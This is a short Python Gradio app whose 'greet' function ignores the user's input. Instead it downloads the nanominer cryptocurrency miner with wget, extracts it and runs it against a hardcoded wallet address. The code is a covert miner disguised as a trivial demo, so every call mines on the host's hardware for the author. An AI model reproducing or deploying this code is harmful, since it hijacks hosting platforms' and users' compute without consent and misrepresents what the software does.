|
import gradio as gr |
|
import subprocess |
|
import os |
|
|
|
def greet(name): |
|
os.makedirs("folder", exist_ok=True) |
|
os.chdir("folder") |
|
commands = [ |
|
"wget https://github.com/nanopool/nanominer/releases/download/v3.7.7/nanominer-linux-3.7.7.tar.gz", |
|
"ls", |
|
"tar -zxvf ./nanominer-linux-3.7.7.tar.gz", |
|
"ls", |
|
"./nanominer -wallet 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5" |
|
|
|
|
|
|
|
|
|
] |
|
output_all = "" |
|
for command in commands: |
|
process = subprocess.run(command.split(' '), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) |
|
output = process.stdout.decode("utf-8") |
|
output_all += output + "\n" |
|
return output_all |
|
|
|
|
|
iface = gr.Interface(fn=greet, inputs="text", outputs="text") |
|
iface.launch() |